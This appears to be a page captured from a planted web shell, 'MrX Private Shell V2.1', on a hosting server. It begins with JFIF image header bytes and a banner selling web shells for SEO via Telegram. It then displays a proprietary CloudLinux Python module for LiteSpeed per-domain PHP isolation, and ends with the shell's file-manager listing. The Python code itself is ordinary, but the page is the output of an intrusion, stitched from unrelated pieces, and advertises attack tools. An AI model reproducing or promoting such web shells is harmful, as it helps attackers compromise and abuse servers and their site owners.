����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
#!/opt/cloudlinux/venv/bin/python3 -sbb
# -*- coding: utf-8 -*-
#
# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2026 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENCE.TXT
#
"""
CLOS-4642: dedicated per-domain lsphp pools for standalone LiteSpeed (LSWS).
Background
----------
On standalone LiteSpeed under cPanel, PHP runs as ONE shared lsphp pool per
Linux user (the ``APVH_<user>`` external app), and LiteSpeed multiplexes every
vhost of the account over it. CageFS per-website isolation masks sibling
docroots with a per-website mount namespace, and a process can live in only
ONE namespace at a time -- so a single shared worker cannot serve several
isolated docroots correctly (addon vhosts return 500, or nothing is masked).
Apache + mod_lsapi is unaffected: it already runs a per-vhost lsphp pool and
passes a per-vhost DOCUMENT_ROOT, so the existing startup site-isolation
constructor works there.
Fix
---
Make LiteSpeed run a DEDICATED lsphp pool per isolated domain so each pool
enters its own website namespace:
* ``DedicatePhpHandler on`` in a per-vhost cPanel *userdata* include
(``/etc/apache2/conf.d/userdata/{std,ssl}/2_4/<user>/<vhost>/``). cPanel
always emits a per-vhost ``Include`` for that directory, so the directive
survives every ``httpd.conf`` regeneration (account/domain changes, EA4
updates).
* ``DOCUMENT_ROOT=$DOC_ROOT`` in LiteSpeed's global ``<phpConfig>`` so each
dedicated pool receives its own document root at spawn time; the alt-php
lsphp startup constructor (CLOS-4506) then re-execs the worker into the
matching website namespace. ``$DOC_ROOT`` is expanded per vhost by LiteSpeed.
Every public helper here is a strict NO-OP unless the active web server is
standalone LiteSpeed on a cPanel server.
"""
import logging
import os
import subprocess
logger = logging.getLogger(__name__)
LSWS_CTRL = "/usr/local/lsws/bin/lswsctrl"
LSWS_HTTPD_CONFIG = "/usr/local/lsws/conf/httpd_config.xml"
ENSURE_VHOST_INCLUDES = "/usr/local/cpanel/scripts/ensure_vhost_includes"
# cPanel records the active web server's control binary here; the LiteSpeed
# plugin (cp_switch_ws.sh) points bin_apachectl at lswsctrl when LiteSpeed is
# the active server, and at apachectl when switched to Apache.
EA4_PATHS_CONF = "/etc/cpanel/ea4/paths.conf"
CPANEL_USERDATA = "/var/cpanel/userdata"
# EA4 / Apache 2.4 per-vhost include roots (http + https).
USERDATA_INCLUDE_ROOTS = (
"/etc/apache2/conf.d/userdata/std/2_4",
"/etc/apache2/conf.d/userdata/ssl/2_4",
)
INCLUDE_FILENAME = "cl_siteiso.conf"
INCLUDE_CONTENT = "<IfModule LiteSpeed>\n DedicatePhpHandler on\n</IfModule>\n"
DOC_ROOT_ENV_MARKER = "DOCUMENT_ROOT=$DOC_ROOT"
DOC_ROOT_ENV_LINE = " <env>DOCUMENT_ROOT=$DOC_ROOT</env>\n"
def is_litespeed_active() -> bool:
"""
True only on a cPanel server whose ACTIVE web server is standalone
LiteSpeed. Apache+mod_lsapi, Plesk and DirectAdmin return False, so every
helper below becomes a no-op there.
Checking that lswsctrl merely exists is NOT enough: LiteSpeed can be
installed but switched out for Apache. cPanel records the active server's
control binary in ea4/paths.conf (bin_apachectl -> lswsctrl when LiteSpeed
is active, -> apachectl when Apache is), so use that as the source of truth.
"""
try:
from cldetectlib import is_cpanel
except ImportError:
return False
if not is_cpanel():
return False
try:
with open(EA4_PATHS_CONF, encoding="utf-8") as fh:
for line in fh:
if line.startswith("bin_apachectl"):
return "lswsctrl" in line
except OSError:
pass
return False
def _vhost_keys_for_docroot(user, document_root):
"""
Map a document root to the cPanel vhost key(s) that serve it.
cPanel stores one userdata file per vhost in ``/var/cpanel/userdata/<user>``
keyed by the vhost ServerName (an addon domain ``foo.com`` is served by a
vhost like ``sub.maindomain.com``). The per-vhost include directory is keyed
by that same name, so resolve the key by matching ``documentroot:``.
"""
target = document_root.rstrip("/")
keys = []
user_dir = os.path.join(CPANEL_USERDATA, user)
try:
entries = os.listdir(user_dir)
except OSError:
return keys
for name in entries:
if name in ("main", "cache") or name.endswith((".cache", "_SSL")):
continue
path = os.path.join(user_dir, name)
if not os.path.isfile(path):
continue
try:
with open(path, encoding="utf-8", errors="replace") as fh:
for line in fh:
if line.startswith("documentroot:"):
dr = line.split(":", 1)[1].strip().rstrip("/")
if dr == target:
keys.append(name)
break
except OSError:
continue
return keys
def _include_dirs(user, vhost_key):
return [os.path.join(root, user, vhost_key) for root in USERDATA_INCLUDE_ROOTS]
def _write_include(user, vhost_key):
for directory in _include_dirs(user, vhost_key):
path = os.path.join(directory, INCLUDE_FILENAME)
try:
os.makedirs(directory, exist_ok=True)
with open(path, "w", encoding="utf-8") as fh:
fh.write(INCLUDE_CONTENT)
except OSError as exc:
logger.warning("LSWS site-isolation: cannot write %s: %s", path, exc)
def _remove_include(user, vhost_key):
for directory in _include_dirs(user, vhost_key):
path = os.path.join(directory, INCLUDE_FILENAME)
try:
os.unlink(path)
except FileNotFoundError:
pass
except OSError as exc:
logger.warning("LSWS site-isolation: cannot remove %s: %s", path, exc)
def _ensure_docroot_env():
"""
Ensure ``DOCUMENT_ROOT=$DOC_ROOT`` is present once in LiteSpeed's global
``<phpConfig>`` so every dedicated per-domain pool spawns with its own
document root. Idempotent; backs the file up before the first edit.
Returns "added" if the env line was inserted (caller should reload),
"present" if it was already there, or "failed" if it could not be ensured
(read/parse/write error) so callers can avoid creating broken pools.
"""
try:
with open(LSWS_HTTPD_CONFIG, encoding="utf-8") as fh:
content = fh.read()
except OSError as exc:
logger.warning("LSWS site-isolation: cannot read %s: %s", LSWS_HTTPD_CONFIG, exc)
return "failed"
if DOC_ROOT_ENV_MARKER in content:
return "present"
tag = "<phpConfig>"
idx = content.find(tag)
if idx == -1:
logger.warning("LSWS site-isolation: <phpConfig> not found in %s", LSWS_HTTPD_CONFIG)
return "failed"
# Insert just after the tag's line. Guard the no-trailing-newline case so
# we never fall back to insert_at=0 (which would prepend to the file and
# corrupt the config).
nl = content.find("\n", idx)
if nl != -1:
new_content = content[:nl + 1] + DOC_ROOT_ENV_LINE + content[nl + 1:]
else:
cut = idx + len(tag)
new_content = content[:cut] + "\n" + DOC_ROOT_ENV_LINE + content[cut:]
backup = LSWS_HTTPD_CONFIG + ".clos4642.bak"
tmp = LSWS_HTTPD_CONFIG + ".clos4642.tmp"
try:
if not os.path.exists(backup):
with open(backup, "w", encoding="utf-8") as fh:
fh.write(content)
with open(tmp, "w", encoding="utf-8") as fh:
fh.write(new_content)
os.replace(tmp, LSWS_HTTPD_CONFIG)
except OSError as exc:
logger.warning("LSWS site-isolation: cannot update %s: %s", LSWS_HTTPD_CONFIG, exc)
return "failed"
return "added"
def _rebuild_and_reload(user):
"""Re-emit the user's vhost includes and gracefully reload LiteSpeed."""
if os.path.exists(ENSURE_VHOST_INCLUDES):
try:
subprocess.run([ENSURE_VHOST_INCLUDES, "--user=%s" % user],
check=False, capture_output=True)
except OSError as exc:
logger.warning("LSWS site-isolation: ensure_vhost_includes failed: %s", exc)
try:
subprocess.run([LSWS_CTRL, "reload"], check=False, capture_output=True)
except OSError as exc:
logger.warning("LSWS site-isolation: lswsctrl reload failed: %s", exc)
def enable_dedicated_php_handler(user, document_root):
"""
Give the vhost(s) serving ``document_root`` a dedicated lsphp pool so the
worker can enter that website's CageFS namespace. No-op unless LSWS active.
NOTE: this rebuilds the user's vhost includes and reloads LiteSpeed per
call. Enabling many domains for one account in a single command therefore
triggers several rebuilds; batching across a bulk enable is a possible
future optimization (see CLOS-4642).
"""
if not is_litespeed_active():
return
keys = _vhost_keys_for_docroot(user, document_root)
if not keys:
logger.warning(
"LSWS site-isolation: no cPanel vhost serves docroot %s (user %s); "
"per-site isolation will NOT take effect for it on LiteSpeed until a "
"vhost exists (the worker stays in the shared per-user pool)",
document_root, user)
return
if _ensure_docroot_env() == "failed":
logger.error(
"LSWS site-isolation: cannot ensure DOCUMENT_ROOT env in %s; not "
"creating a dedicated pool for %s -- without it the worker falls back "
"to the primary docroot and 500s addon vhosts",
LSWS_HTTPD_CONFIG, document_root)
return
for key in keys:
_write_include(user, key)
_rebuild_and_reload(user)
def reconcile_dedicated_php_handlers(user, isolated_docroots):
"""
Make the user\'s dedicated-pool includes match exactly the given set of
currently-isolated document roots: add includes for isolated docroots that
lack one, and remove includes for vhosts whose docroot is no longer
isolated. Robust to full teardown (empty list), docroots shared by several
domains (kept while any sibling is still isolated), and docroots that no
longer resolve (their stale includes are swept). No-op off standalone
LiteSpeed. Reloads LiteSpeed only when something actually changed.
"""
if not is_litespeed_active():
return
keep_keys = set()
for dr in isolated_docroots:
if dr:
keep_keys.update(_vhost_keys_for_docroot(user, dr))
changed = False
add_includes = True
if keep_keys:
env_status = _ensure_docroot_env()
if env_status == "failed":
# Without the global DOCUMENT_ROOT env a dedicated pool would fall
# back to the primary docroot and 500. Do NOT create new pools, but
# still run the stale-include sweep below so a disable never leaves
# an orphaned include behind.
logger.error(
"LSWS site-isolation: cannot ensure DOCUMENT_ROOT env in %s; "
"not creating dedicated pools, only removing stale ones for %s",
LSWS_HTTPD_CONFIG, user)
add_includes = False
elif env_status == "added":
changed = True
# add missing includes for vhosts that should stay isolated
if add_includes:
for key in keep_keys:
paths = [os.path.join(d, INCLUDE_FILENAME) for d in _include_dirs(user, key)]
if not all(os.path.exists(p) for p in paths):
_write_include(user, key)
changed = True
# remove includes for vhosts that are no longer isolated
for root in USERDATA_INCLUDE_ROOTS:
try:
vhosts = os.listdir(os.path.join(root, user))
except OSError:
continue
for vhost in vhosts:
if vhost in keep_keys:
continue
path = os.path.join(root, user, vhost, INCLUDE_FILENAME)
if os.path.exists(path):
try:
os.unlink(path)
changed = True
except OSError as exc:
logger.warning("LSWS site-isolation: cannot remove %s: %s", path, exc)
if changed:
_rebuild_and_reload(user)
def remove_all_dedicated_php_handlers(user):
"""
Remove every dedicated-pool include for a user. Used on full isolation
teardown (``--isolates-deny`` / ``--isolates-deny-all`` ->
_cleanup_user_isolation), where individual docroots may no longer be
resolvable. No-op unless LSWS is active.
"""
if not is_litespeed_active():
return
removed = False
for root in USERDATA_INCLUDE_ROOTS:
user_root = os.path.join(root, user)
try:
vhosts = os.listdir(user_root)
except OSError:
continue
for vhost in vhosts:
path = os.path.join(user_root, vhost, INCLUDE_FILENAME)
try:
os.unlink(path)
removed = True
except FileNotFoundError:
pass
except OSError as exc:
logger.warning("LSWS site-isolation: cannot remove %s: %s", path, exc)
if removed:
_rebuild_and_reload(user)
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| crontab | Folder | 0755 |
|
|
| __init__.py | File | 248 B | 0644 |
|
| admin_config.py | File | 3.07 KB | 0644 |
|
| config.py | File | 1.74 KB | 0644 |
|
| docroot_validation.py | File | 7.53 KB | 0644 |
|
| jail_config.py | File | 2.72 KB | 0644 |
|
| jail_config_builder.py | File | 9.6 KB | 0644 |
|
| jail_utils.py | File | 7.88 KB | 0644 |
|
| libenter.py | File | 2.36 KB | 0644 |
|
| litespeed.py | File | 13.09 KB | 0644 |
|
| mount_config.py | File | 1.72 KB | 0644 |
|
| mount_ordering.py | File | 4.96 KB | 0644 |
|
| mount_types.py | File | 1.26 KB | 0644 |
|
| php.py | File | 3.73 KB | 0644 |
|
| service.py | File | 1.76 KB | 0644 |
|
| triggers.py | File | 1.9 KB | 0644 |
|